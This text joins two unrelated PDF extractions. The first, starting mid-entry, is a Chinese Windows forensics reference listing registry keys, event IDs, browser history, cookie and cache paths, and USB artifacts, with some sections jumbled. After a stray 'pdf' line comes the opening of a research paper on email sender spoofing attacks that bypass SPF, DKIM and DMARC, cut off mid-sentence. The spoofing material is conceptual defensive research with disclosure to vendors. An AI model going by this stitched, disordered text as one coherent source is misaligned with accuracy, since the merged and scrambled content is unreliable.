%USERPROFILE%\Local Settings\History\History.IE5 • IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5 • IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat Firefox • XP: %userprofile%\Application Data\Mozilla\Firefox\Profiles\ <randomtext>.default\places.sqlite • Win7/8/10: %userprofile%\AppData\Roaming\Mozilla\Firefox\ Profiles\<randomtext>.default\places.sqlite 系统资源使用情况监视 器(SRUM) 描述 记录30至60天的历史系统性能。运行的应用程序、每次相关的用户 帐户、应用程序、每个应用程序每小时发送和接收的字节数。 位置 SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Extensions {973F5D5C-1D90-4944-BE8E-24B94231A174} = Windows网络数据使用情况监 视器 {DD6636C4-8929-4683-974E-22C046A43763} = Windows网络连接使用情况 监视器 SOFTWARE\Microsoft\WlanSvc\Interfaces\ C:\Windows\System32\SRU\ 解释 使用诸如srum_dump.exe之类的工具来使注册表项和SRUM ESE数 据库之间的数据相互关联。 网络活动/物理位置 Open/Save MRU 描述 用最简单的术语来说,此键跟踪已在Windows Shell对话框中打开或保 存的文件。这是一个大数据集,不仅包括Internet Explorer和Firefox等 Web浏览器,而且还包括大多数常用的应用程序。 位置 XP: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ OpenSaveMRU Win7/8/10: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ OpenSavePIDlMRU 解释 • “*”键 – 这个子键跟踪最近在OpenSave对话框中输入的任意扩展 名的文件 • .??? (3字符扩展名) – 这个子键跟踪保存在OpenSave对话框中打 开的特定扩展名的文件 最近文件 描述 跟踪最近打开的文件和文件夹的注册表键,用来在开始菜单 的”recent“菜单里填充数据 位置 NTUSER.DAT: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs 解释 • • RecentDocs – 整个键将跟踪最近打开的150个文件或文件夹的整 个顺序。 MRU列表将跟踪打开每个文件/文件夹的时间顺序。键 的最后一项和该键的修改时间将是某个扩展名的最后一个文件打 开的位置和时间。 .??? – 此子键存储最后打开的具有特定扩展名的文件。 MRU列表 将跟踪打开每个文件的时间顺序。键的最后一项和该键的修改时 间将是某个扩展名的最后一个打开的文件的位置和时间、 • Folder – 此子键存储最后打开的文件夹。 MRU列表将跟踪打开每 个文件夹的时间顺序。 键的最后一项和修改时间将是最后打开的 文件夹的时间和位置。 跳转列表 描述 • Windows 7任务栏(跳转列表)经过精心设计,可以使用户快速便 捷地“跳转”或访问经常或最近使用的项目。 此功能不仅可以包括 最近的媒体文件; 它还必须包括最近的任务。 • 每个存储在AutomaticDestinations文件夹中的数据将具有一个唯一 的文件,该文件前面带有关联应用程序的AppID,并且在每个流中 都嵌入了LNK文件。 位置 Win7/8/10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations 解释 • 使用结构化存储查看器,打开一个“AutomaticDestination”跳转 列表文件。 • 这些文件中的每个文件都是一个单独的LNK文件。它们按照数字 顺序存储,从最早的一个(通常为1)到最新的(最大的整数 值)。 Shell Bags 描述 • 在本地计算机、网络和/或可移动设备上访问了哪些文件夹。 删 除/覆盖前存在的文件夹的证据。 访问这些文件夹的时间。 位置 资源管理器访问: • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags • USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Desktop Access: • NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU • NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags 解释 存储有关用户最近浏览过哪些文件夹的信息。 快捷方式文件 (LNK) 描述 • Windows自动创建的快捷方式文件 - 最近的项目 - 打开本地和远程数据文件和文档将生成一个快捷方式文件 (.lnk) 位置 XP: • %USERPROFILE%\Recent Win7/8/10: • %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\ • %USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent\ 请注意,这些是LNK文件的主要位置。 它们也可以在其他位置 找到。 解释 • 该名称的文件首次打开的日期/时间 - 快捷方式(LNK)文件的创建日期 • 最后打开该名称文件的日期/时间 - 快捷方式(LNK)文件的最后修改时间 • LNK目标文件(内部LNK文件信息)数据: - 目标文件的修改,访问和创建时间 - 卷信息(名称,类型,序列号) - 网络共享信息 - 原始位置 - 系统名称 Prefetch 描述 • 通过预加载常用应用程序的代码页来提高系统性能。 缓存管理 器监视为每个应用程序或进程引用的所有文件和目录,并将它 们映射到.pf文件。 用来了解应用程序是在系统上执行的。 • XP 和Win7最多128个文件 • Win8-10最多1024个文件 • (exename)-(hash).pf 位置 WinXP/7/8/10: C:\Windows\Prefetch 解释 • 可以检查每个.pf文件以查找最近使用的文件句柄 • 可以检查每个.pf文件以查找最近使用的设备句柄 Last-Visited MRU 描述 跟踪应用程序使用的打开记录在OpenSaveMRU里的文件的可执行 文件。此外,每个值还跟踪该应用程序访问的最后一个文件的目 录位置。 例如: Notepad.exe最后一次运行使用了 C:\Users\Rob\Desktop 文件夹 位置 XP: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedMRU Win7/8/10: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedPidlMRU 解释 跟踪打开OpenSaveMRU里的文件的可执行文件和最后使用的文件 路径 IE|Edge file:// 描述 关于IE历史记录的一个鲜为人知的事实是,历史记录文件中存储的 信息不仅与Internet浏览有关。 历史记录还记录了本地、可移动、 远程(通过网络共享)文件访问,这为我们提供了一种绝佳的方 式来确定每天在系统上访问哪些文件和应用程序。 位置 Internet Explorer: • IE6-7: %USERPROFILE%\Local Settings\History\ History.IE5 • IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5 • IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat 解释 • 在index.dat中保存为: file:///C:/directory/filename.ext • 并不意味着文件已在浏览器中打开 Office Recent Files 描述 MS Office程序跟踪自己的“最近的文件”列表,以使用户更容易记 住他们正在编辑的最后一个文件。 Location NTUSER.DAT\Software\Microsoft\Office\VERSION • 14.0 = Office 2010 • 11.0 = Office 2003 • 12.0 = Office 2007 • 10.0 = Office XP NTUSER.DAT\Software\Microsoft\Office\VERSION\UserMRU\LiveID_####\FileMRU • 15.0 = Office 365 解释 与“最近的文件”相似,这将跟踪每个MS Office应用程序最近打开 的文件。 每个MRU添加的最后一个条目将是特定MS Office应用程 序打开最后一个文件的时间。 打开的文件/目录 浏览器使用记录 最后登录 描述 列出系统的本地帐户及其相关的安全标识符。 位置 • C:\windows\system32\config\SAM • SAM\Domains\Account\Users 解释 • 仅最后一次登录时间将存储在注册表项中 上次密码更改 描述 列出上次更改特定本地用户密码的时间。 位置 • C:\windows\system32\config\SAM • SAM\Domains\Account\Users 解释 • 只有上一次密码更改时间将存储在注册表项中 RDP 使用状况 描述 跟踪通过远程桌面协议登录到目标计算机。 位置 安全日志 Win7/8/10: %SYSTEM ROOT%\System32\winevt\logs\Security.evtx 解释 • Win7/8/10 – 解释 - Event ID 4778 – 会话连接/重新连接 - Event ID 4779 – 会话断开 • 事件日志提供建立连接的远程计算机的主机名和IP地址 • 在工作站上,您经常会看到当前控制台会话断开连接 (4779)后面跟着RDP连接(4778) 服务事件 描述 • • 分析日志以了解在启动时运行的可疑服务 审核疑似违例期间开始和停止的服务 位置 所有事件ID均引用系统日志 7034 – 服务意外崩溃 7035 – 服务发送启动/停止控制 7036 – 服务启动或者停止 7040 – 启动类型变更 (自动 | 手动 | 禁用) 7045 – 服务被安装到系统 (Win2008R2+) 4697 – 服务被安装到系统(来自安装日志) 解释 • 除4697外的所有事件ID均引用系统日志 • 大量恶意软件和蠕虫使用服务 • 服务开机启动表明持久性(对恶意软件很需要) • 服务可能由于进程注入之类的攻击而崩溃 登录类型 描述 如果我们知道在何处查找以及如何破译我们找到的数据,则登录 事件可以向我们提供有关系统上帐户授权性质的非常具体的信 息。 除了告诉我们登录的日期、时间、用户名、主机名和成功/ 失败状态外,登录事件还使我们能够准确确定尝试登录的确切方 式。 位置 Win7/8/10: 事件 ID 4624 解释 登录类型 解释 2 3 4 5 7 8 9 10 11 12 13 控制台登录 网络登录 批处理登录 Windows服务登录 用来解锁的凭据 网络登录发送凭据(明文) 与登录使用的凭据不同 用户远程交互式登录(RDP) 用于登录的缓存凭据 缓存的远程交互(类似于类型10) 解锁(类似于类型7) 认证事件 描述 认证机制 位置 记录在对凭据进行身份验证的系统上 本地账户/工作组 = 工作站上 域/活动目录 = 域控制器上 Win7/8/10: %SYSTEM ROOT%\System32\winevt\logs\Security.evtx 解释 事件ID 代码 (NTLM 协议) • 4776: 成功/失败的帐户认证 事件ID代码(Kerberos 协议) • 4768: 票证授予票证已授予(成功登录) • 4769: 请求服务票证(访问服务器资源) • 4771: 预身份验证失败(登录失败) 成功/失败登录 描述 确定哪些帐户已用于尝试登录。 跟踪已知受损帐户的帐户使用 情况。 位置 Win7/8/10: %system root%\System32\winevt\logs\Security.evtx 解释 • Win7/8/10 – 解释 • 4624 –成功登录 • 4625 – 登录失败 • 4634 | 4647 – 成功登出 • 4648 – 使用显式凭据登录(Runas) • 4672 – 具有超级用户权限的帐户登录 (Administrator) • 4720 – 帐户已创建 账户活动 Key Identification 描述 跟踪插入机器的USB设备。 位置 • SYSTEM\CurrentControlSet\Enum\USBSTOR • SYSTEM\CurrentControlSet\Enum\USB 解释 • 识别插入计算机的USB设备的供应商、产品和版本。 • 识别插入机器的唯一USB设备 • • 确定设备插入机器的时间 没有唯一序列号的设备将在序列号的第二个字符中带 有“&”。 First/Last Times 描述 确定连接到Windows计算机的特定USB设备的临时 使用情况 位置 首次 即插即用日志文件 XP: C:\Windows\setupapi.log Win7/8/10: C:\Windows\inf\setupapi.dev.log 解释 • 搜索设备序列号 • 日志文件时间设置为本地时区 位置 首次、末次和移除的时间 (仅Win7/8/10) System Hive: \CurrentControlSet\Enum\USBSTOR\Ven_Prod_Version\USBSerial#\Properties\ {83da6326-97a6-4088-9453-a19231573b29}\#### 0064 = 首次安装 (Win7-10) 0066 = 最后一次连接(Win8-10) 0067 = 最后一次移除(Win8-10) 用户 描述 查找使用唯一USB设备的用户。 位置 • 从SYSTEM\MountedDevices查找GUID • NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ MountPoints2 解释 这个GUID接下来会用来识别插入设备的用户。这个键 的最后写入时间对应于该用户最后一次插入机器的时 间。该编号将在NTUSER.DAT储巣的用户个人的 mountpoints键中引用 外接设备/USB使用记录 历史记录 描述 按日期和时间记录访问的网站。为每个本地用户帐户存储详 细信息。记录访问的次数(频率)。还跟踪对本地系统文件 的访问。 位置 Internet Explorer • IE6-7: %USERPROFILE%\Local Settings\History\History.IE5 • IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\ History.IE5 • IE10, 11, Edge: %USERPROFILE%\AppData\Local\Microsoft\Windows\ WebCache\WebCacheV*.dat Firefox • XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite • Win7/8/10: %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\ Profiles\<random text>.default\places.sqlite Chrome • XP: %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\History • Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\ Default\History Cookies 描述 • IE8-9: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies • IE10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies • IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies • Edge: %USERPROFILE%\AppData\Local\Packages\microsoft. microsoftedge_<APPID>\AC\MicrosoftEdge\Cookies Firefox • XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\cookies.sqlite • Win7/8/10: %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\ Profiles\<randomtext>.default\cookies.sqlite Chrome • XP: %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Local Storage\ • Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\ Default\Local Storage\ Cache 描述 • 缓存是可以本地存储网页组件以加快后续访问的位置 • 向调查员提供用户在线查看内容的"快照" - 标识访问过的网站 - 提供用户在给定网站上查看的实际文件 - 缓存的文件绑定到特定的本地用户帐户 - 时间戳显示网站首次保存和上次查看的时间 位置 Internet Explorer • IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5 • IE10: %USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5 • IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache\IE • Edge: %USERPROFILE%\AppData\Local\Packages\microsoft. microsoftedge_<APPID>\AC\MicrosoftEdge\Cache Firefox • XP: %USERPROFILE%\Local Settings\ApplicationData\Mozilla\Firefox\ Profiles\<randomtext>.default\Cache • Win7/8/10: %USERPROFILE%\AppData\Local\Mozilla\Firefox\ Profiles\<randomtext>.default\Cache Cookies使您可以了解访问过哪些网站以及在那里可能进行了 哪些活动。 位置 Internet Explorer • Chrome • XP: %USERPROFILE%\Local Settings\Application Data\Google \Chrome\User Data\Default\Cache - data_# and f_###### · Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Cache\ - data_# and f_###### Flash & 超级Cookies 描述 由于Flash应用程序在 Internet 上的渗透率很高,本地存储对 象 (LSO) 或 Flash Cookie 在大多数系统上都变得无处不 在。它们往往更持久,因为它们不会过期,并且浏览器中 没有用于删除它们的内置机制。事实上,许多网站已经开 始使用 LSO 进行跟踪机制,因为它们很少像传统 Cookie 那 样被清除。 位置 Win7/8/10: %APPDATA%\Roaming\Macromedia\FlashPlayer\#SharedObjects\<randompr ofileid> 解释 • 访问的站点 • 用来访问站点的用户账号 • 创建cookie和上次访问的时间 会话恢复 描述 浏览器内置的自动崩溃恢复功能。 位置 Internet Explorer Win7/8/10: %USERPROFILE%/AppData/Local/Microsoft/Internet Explorer/ Recovery Firefox Win7/8/10: %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\ Profiles\<randomtext>.default\sessionstore.js Chrome Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\ Default\ Files = 当前会话、当前选项卡、上一个会话、最后一个选项 卡 解释 • 每个选项卡查看的历史网站 • 引用网站 • 会话结束时间 • LastActive文件夹中.dat文件的修改时间 • 每个选项卡打开的时间(仅在发生崩溃时) • 活动文件夹中 .dat 文件的创建时间 Google 分析 Cookies 描述 Google 分析 (GA) 开发了一种极其复杂的方法来跟踪网 站访问、用户活动和付费搜索。 由于 GA 基本上是免费 的,因此它拥有很高的市场份额,估计占据80%的流量分 析网站和超过50%的网站 __utma – 独立访问者 • 域Hash • 访问者ID • Cookie创建时间 • 第二多访问的时间 • 最多访问的时间 • 访问次数 __utmb – 会话跟踪 • 域 hash • 当前会话中的页面视图 • 出站链接点击次数 • 当前会话开始时间 __utmz –流量来源 • 域 Hash • 最后更新时间 • 访问次数 • 不同类型的访问次数 • 用于访问站点的源 • Google Adwords 市场活动名称 • 访问方式(有机、推荐、cpc、电子邮件、直接) • 用于查找站点的关键字(仅限非 SSL) PnP事件 描述 尝试安装即插即用驱动程序时,该服务 将记录ID 20001事件并在该事件中提供状 态。 重要的是要注意,此事件将触发任 何具有即插即用功能的设备,包括但不 限于USB、Firewire和PCMCIA设备。 位置 系统日志文件 Win7/8/10: %system root%\System32\winevt\logs\System.evtx 解释 • Event ID: 20001 – 尝试安装即插即用驱 动程序 • Event ID 20001 • 时间戳 • 设备信息 • 设备序列号 • 状态 (0 = 没有错误) 卷序列号 描述 发现USB上文件系统分区的卷序列号。 (注意:这不是USB唯一序列号,序列 号已硬编码到设备固件中。) 位置 • SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ ENDMgmt • 使用卷名和USB唯一序列号来: - 查找行中的最后一个整数 - 将十进制序列号转换为十六进制序列 号 解释 • 在知道卷序列号和卷名称的情况下,您 可以通过快捷方式文件(LNK)分析和 RECENTDOCS键将数据关联起来。 • 快捷方式文件(LNK)包含卷序列号和 名称 • 在大多数情况下,通过资源管理器打开 USB设备时,RecentDocs注册表键将包 含卷名。 驱动器盘符和卷名 描述 发现USB最后分配的驱动器符 插入机器时的设备. 位置 XP: • 查找 ParentIdPrefix – SYSTEM\CurrentControlSet\Enum\ USBSTOR • 使用 ParentIdPrefix 发现最后加载点 – SYSTEM\MountedDevices Win7/8/10: • SOFTWARE\Microsoft\Windows Portable Devices\Devices • SYSTEM\MountedDevices - 检查驱动器符,查看值数据,查找序列 号 解释 识别最后映射到特定驱动器符的USB设备。 此 技术仅适用于最后映射的驱动器。 它不包含映 射到可移动驱动器的每个驱动器符的历史记 录。 快捷方式(LNK)文件 描述 Windows自动创建的快捷方式文件 • 最近的项目 • 打开本地和远程数据文件和文档将生成一个 快捷方式文件 (.lnk) 位置 XP: • %USERPROFILE%\Recent Win7/8/10 • %USERPROFILE%\AppData\Roaming\Microsoft\Windows\ Recent • %USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent 解释 • 该名称的文件首次打开的日期/时间 - 快捷方式(LNK)文件的创建日期 • 最后打开该名称文件的日期/时间 - 快捷方式(LNK)文件的最后修改时间 • LNK目标文件(内部LNK文件信息)数据: - 目标文件的修改,访问和创建时间 - 卷信息(名称,类型,序列号) - 网络共享信息 - 原始位置 - 系统名称
pdf
Weak Links in Authentication Chains: A Large-scale Analysis of Email Sender Spoofing Attacks Kaiwen Shen 1,∗, Chuhan Wang 1, ∗, Minglei Guo 1, Xiaofeng Zheng 1,2,†, Chaoyi Lu 1, Baojun Liu 1,†, Yuxuan Zhao 4, Shuang Hao 3, Haixin Duan 1,2, Qingfeng Pan 5 and Min Yang 6 1Tsinghua University 2Qi An Xin Technology Research Institute 3University of Texas at Dallas 4North China Institute of Computing Technology 5Coremail Technology Co. Ltd 6Fudan University Abstract As a fundamental communicative service, email is playing an important role in both individual and corporate communica- tions, which also makes it one of the most frequently attack vectors. An email’s authenticity is based on an authentication chain involving multiple protocols, roles and services, the inconsistency among which creates security threats. Thus, it depends on the weakest link of the chain, as any failed part can break the whole chain-based defense. This paper systematically analyzes the transmission of an email and identifies a series of new attacks capable of bypass- ing SPF, DKIM, DMARC and user-interface protections. In particular, by conducting a "cocktail" joint attack, more real- istic emails can be forged to penetrate the celebrated email services, such as Gmail and Outlook. We conduct a large- scale experiment on 30 popular email services and 23 email clients, and find that all of them are vulnerable to certain types of new attacks. We have duly reported the identified vulner- abilities to the related email service providers, and received positive responses from 11 of them, including Gmail, Yahoo, iCloud and Alibaba. Furthermore, we propose key mitigating measures to defend against the new attacks. Therefore, this work is of great value for identifying email spoofing attacks and improving the email ecosystem’s overall security. 1 Introduction Email service has been a popular and essential communicative service with abundant individual and corporate information, which makes it a key target of cyber attacks [22]. Yet, the email transmission protocols are far from capable of counter- ing potential attacks. An email system’s security relies on a multi-party trust chain maintained by various email services, which increases its systemic vulnerability to cyber attacks. As the Wooden Bucket Theory reveals, a bucket’s capacity is determined by its shortest stave. The authenticity of an ∗Both authors contributed equally to this work. †Corresponding authors:{zxf19, lbj15}@mails.tsinghua.edu.cn. email depends on the weakest link in the authentication chain. Even a harmless issue may cause unprecedented damages when it is integrated into a more extensive system. Generally, the email authentication chain involves multiple protocols, roles and services, any failure among which can break the whole chain-based defense. First, despite the existence of various security extension protocols (e.g., SPF [24], DKIM [2] and DMARC [31]) to identify spoofing emails, spoofing attacks might still succeed due to the inconsistency of entities protected by different protocols. Second, authentication of an email involves four different roles: senders, receivers, forwarders and UI renderers. Each role should take different security responsibilities. If any role fails to provide a proper security defensive solution, an email’s authenticity can not be guaranteed. Finally, security mechanisms are implemented by different email services with inconsistent processing strategies. Be- sides, those security mechanisms are implemented by dif- ferent developers, some of which deviate from RFC specifi- cations while dealing with emails with ambiguous headers. Therefore, there are a number of inconsistencies among dif- ferent services. Attackers can utilize these inconsistencies to bypass the security mechanisms and present deceptive results to the webmails and email clients. This work systematically analyzes four critical stages of authentication in the email delivery process: sending authen- tication, receiving verification, forwarding verification and UI rendering. We found 14 email spoofing attacks capable of bypassing SPF, DKIM, DMARC and user-interface protec- tions. By combining different attacks, a spoofing email can completely pass all prevalent email security protocols, and no security warning is shown on the receiver’s MUA. We show that it is still challenging to identify whether such an email is spoofing, even for people with a senior technical background. To understand the real impacts of spoofing email attacks in the email ecosystem, we conducted a large-scale experiment on 30 popular email services with billions of users in total. Besides, we also tested 23 popular email clients on different operating systems to measure the impact of attacks on the UI level. All of them are vulnerable to certain types of attacks, including reputable email services, such as Gmail and Out- look. We have already duly reported all identified issues to the involved email service providers and received positive re- sponses from 11 of them (e.g., Gmail, Yahoo, iCloud, Alibaba Cloud). Our work shows the vulnerability of the chain-based au- thentication structure in the email ecosystem. The attacks reveal that more security issues are led by the inconsistency among multiple parties’ understanding and implementation of security mechanisms. To counter email spoofing attacks, we proposed a UI notification scheme. Coremail, a well-known email service provider in China, has adopted our scheme and implemented it on the webmails and email clients for users. Besides, we have also released our testing tool on Github for email administrators to evaluate and increase their security. Contributions. To sum up, we make the following contribu- tions: • By analyzing the email authentication chain systemati- cally, we identified a total of 14 email spoofing attacks, 9 of which (i.e., A3, A6, A7, A8, A9, A10, A11, A13, A14) are new attacks, to the best of our knowledge so far. By combining different attacks, we can forge more realistic spoofing email to penetrate celebrated email services like Gmail and Outlook. • We conducted a large-scale measurement on 30 popular email services and 23 email clients. We found all of them are vulnerable to some of attacks. We have responsibly disclosed vulnerabilities and received positive responses from 11 email vendors (e.g., Gmail, Yahoo, iCloud and Alibaba Cloud). • To enhance the protection of email system against spoof- ing attacks, we proposed a UI notification scheme and provided an email security evaluation tool for email ad- ministrators to evaluate and increase their security. 2 Background 2.1 Email Delivery Process Simple Mail Transfer Protocol (SMTP) [38] is a basic proto- col for email services. Figure 1 shows the basic email delivery process. An email written by a sender is transmitted from the Mail User Agent (MUA) to the Mail Transport Agent (MTA) via SMTP or HTTP protocol. Then, the sender’s MTA trans- mits the email to the receiver’s MTA via the SMTP protocol, which later delivers the email content to the receiver’s MUA via HTTP, IMAP or POP3 [27] protocols. Extra transmission needs could complicate the actual de- livery process. When the original email’s target recipient is a mailing list or configured with an automatic email forwarding service, the email will be relayed through an email server, such as the email forwarding server in Figure 1. The email forwarding server will modify the receiver’s address and re- deliver it. Figure 1: The email delivery process. In the SMTP communication process, a sender’s identity in- formation is contained in multiple fields in a complex manner. (1) Auth username, the username used in the AUTHcommand to authenticate the client to the server. (2) MAIL From, the sender on the envelope, is mainly used for identity verifica- tion during the email delivery process. (3) From, the sender in the email body, is the displayed address that the email client shows to the user. (4) Sender, the Sender field is used to identify the real sender when there are multiple addresses in the From. The inconsistency of these fields provides the basis for email spoofing attacks. As shown in Figure 1, the authentication in the email trans- mission process involves four important stages. Email Sending Authentication. When sending an email from the MUA via the SMTP protocol, the sender needs to enter his username and password for authentication. In this part, the sender’s MTA not only needs to verify the user’s identity but also to ensure the Mail From is consistent with the Auth username. Email Receiving Verification. When the receiver’s MTA receives the email, MTA validates the sender’s authenticity through SPF, DKIM and DMARC protocols. See Section 2.2.1 for details of these protocols. Email Forwarding Verification. Email automatic forward- ing is another commonly used way to send emails. When a forwarder automatically forwards an email, it should verify the sender’s address. If the DKIM signature is enabled, the original DKIM verification status should be "pass" at first, then a new DKIM signature will be added. If the ARC [4] protocol is deployed, the ARC verification chain will also be verified. Email UI Rendering. This stage is to provide users with a friendly email rendering display. Unfortunately, most popular email clients’ UI will not present the authenticity check result to users. Some encoding formats or special characters can mislead receiver with a spoofing address. We argue that Email UI rendering is the last but crucial step in the authentication process, which is often overlooked in previous research. Figure 2: A spoofing email that fails the Sender Inconsistency Checks. 2.2 Email Spoofing Protections 2.2.1 Email Security Extension Protocols To defend against email spoofing attacks, various security extensions have been proposed and standardized. At present, SPF, DKIM and DMARC protocols are the most widely used ones. SPF. Sender Policy Framework (SPF) [24] is an IP-based authentication protocol. It marks and records the sender’s domain and IP address together. The receiver can determine whether the email is from the claimed domain by querying the SPF record under the DNS server corresponding to the sender’s domain name. DKIM. DomainKeys Identified Mail (DKIM) [9] is an au- thentication protocol based on digital signatures. It uses an asymmetric key encryption algorithm to allow a sender to add a digital signature to an email’s header to identify spoofing attempts during transmission. The receiver can retrieve the sender’s public key from DNS querying to verify the signa- ture, and then determine whether the email was spoofing or modified. DMARC. Domain-based Message Authentication, Reporting and Conformance (DMARC) [31] is an authentication sys- tem based on the results of SPF and DKIM verification. It introduces a mechanism for multiple authenticated identifiers alignment, which associates the identity information in From with the authenticated identifier of SPF or DKIM. Meanwhile, the domain owner can publish a policy suggesting solutions to the recipient to handle unverified emails sent by this domain name. The domain owner can get regular feedback from the recipient. Specifically, DMARC employs an "or" status check of the SPF and DKIM verification results. If an email passes the detection of either SPF or DKIM, and Fromcan be aligned with the authenticated identifier, it passes the validation of DMARC. 2.2.2 UI-level Spoofing Protections UI rendering is a crucial part that affects the users’ perception of an email’s authenticity. However, the necessity of increas- ing UI level protection has not yet fostered any prevalent security protocol. Each Email vendor employs different UI level protections, and there is no widely accepted comprehen- sive protection mechanism so far. Figure 3: The Attack Model: a⃝, b⃝ and c⃝ represent shared MTA Attack, Direct MTA Attack and Forward MTA Attack respectively. Sender Inconsistency Checks (SIC). As shown in Figure 2, some email services add a security indicator to alert the receiver that the actual sender (MAIL From) may not be the displayed one (From). It is worth noting that this inconsistency exists throughout the email system, including email forward- ing, alias, and email subscriptions. Therefore, the receiver’s MTA cannot directly reject an email because of the inconsis- tency, which lowers the success rate to detect spoofing emails. However, the protection measure addressing this issue has not received a clear definition in the industry yet. We define this protection measure as the Sender Inconsistency Checks (SIC). 3 Attack Model and Experiments 3.1 Attack Model As shown in Figure 3, the attack model of email spoofing attacks includes a trusted email sender (Alice, which has an email account under a.com), a victim receiver (Bob, which has an email account under b.com), and an adversary (Oscar). Specifically, Oscar’s goal is to send an email to Bob, spoofing [email protected] and bypassing all security validation. In general, there are three common types of email spoofing attacks. a⃝ Shared MTA Attack. We assume that Oscar has an email account ([email protected]), which is different from Al- ice’s account ([email protected]). Oscar can send spoofing emails through the MTA of a.com by modifying the Mail From/ From/ Auth username headers. Since the credibility of the sender’s MTA IP is an essential factor affecting the spam engine’s decision algorithm [5], the spoofing email can easily enter the victim’s inbox. The IP of the sender’s MTA is in a.com’s SPF scope. The sender’s MTA may also automatically attach DKIM signatures to the spoofing email. Therefore, Os- car has little difficulty in bypassing the SPF/DKIM/DMARC verification and spoofs [email protected]. b⃝ Direct MTA Attack. Oscar can also send spoofing emails through his own email server. Note that the communication process between the sender’s MTA and the receiver’s MTA (a) Gmail’s Web UI does not display any spoofing alerts (b) The spoofing email passes all email security protocol verification Figure 4: A spoofing example to impersonate [email protected] via Gmail. does not have an authentication mechanism. Oscar can spoof an arbitrary sender by specifying the Mail Fromand the From headers. This attack model can ensure all spoofing emails reach the receiver’s MTA without being influenced by the strict sending check of the sender’s MTA. c⃝ Forward MTA Attack. Oscar can abuse the email for- warding service to send spoofing emails. First of all, Oscar can send a spoofing email to [email protected], an email account belonging to Oscar on the forwarding email service. Next, he can configure the forwarding service to automatically forward this spoofing email to the victim ([email protected]). This attack model has three major advantages. First, this attack has the same advantages as the Shared MTA attack mode because the receiver’s MTA (b.com) believes that the emails come from the legitimate MTA (a.com). Moreover, this attack can also bypass the strict sending check of the sender’s MTA (e.g., a mismatch between Mail From and From headers). Finally, the forwarding service may give the forwarded email a higher security endorsement (e.g., adding a DKIM signature that shouldn’t be added). As such, the sender authentication issues can occur in four stages, including sending authentication, receiving verifica- tion, forwarding verification and UI rendering, which can all pose potential security threats. Further, we define the goals of a successful attack as fol- lows: (1) the receiver’s MUA incorrectly renders the sender address as it comes from a legitimate domain name, rather than the attacker’s real one; (2) the receiver’s MTA incorrectly verifies the sender of spoofing emails; (3) the receiver’s MUA does not display any security alerts for spoofing emails. Figure 4 shows an example of a successful email sender spoofing attack using the direct MTA attack and forward MTA attack models. The attack details are described in Section 5. All the three email security protocols give "pass" verifica- tion results to the spoofing email. Furthermore, the receiver’s MUA does not display any security alerts. The victim could hardly recognize any traces of attack from such a seemingly authentic spoofing email. Therefore, it is challenging to iden- tify whether such an email is spoofing, even for people with asenior technical background. 3.2 Experimental Target Selection We systematically analyze 30 email services, including the most popular free public email services, enterprise-level email services and self-hosted ones. Our testing targets include the public email services that have been measured by Hu et al. [20], except for the ones that can neither be registered in China (e.g., gmx.com and sapo.pt) nor have valid SMTP services (e.g., tutanota.com and protonmail.com). In total, we select 22 popular emails services that have more than 1 billion users. We believe their security issues can expose a wide range of common users to threats. Besides, we also select 5 popular enterprise email services, including Of- fice 365, Alibaba Cloud and Coremail, to test the threat effect on the institutional users. As for the self-hosted email systems, we build, deploy and maintain 3 famous email systems (i.e., Zimbra, EwoMail, Roundcube). Further, we test our attacks against 23 widely-used email clients in different desktop and mobile operating systems to evaluate the impact on the UI rendering implementation. 3.3 Experiment Methodology This work aims to cover all possible verification issues throughout the email delivery process. Hence, we conduct a five-step empirical security analysis: First, we systematically analyze the email specifications. In terms of syntax, we extract the ABNF rules [10], focusing on headers (e.g., Mail From/From/Helo/Sender headers) related to authentication. We also pay attention to seman- tics, particularly the identity verification of emails at each stage in the RFCs. Second, we collect legitimate email sam- ples and generate the test samples with authentication-related headers based on the ABNF grammar [17]. Since common email services usually refuse to handle emails with highly deformed headers, we specify certain header values for our empirical experiment purposes. For example, we limit the value of domain to several famous email domain names (e.g., gmail.com, icloud.com). Third, we introduce the common mutation methods in protocol 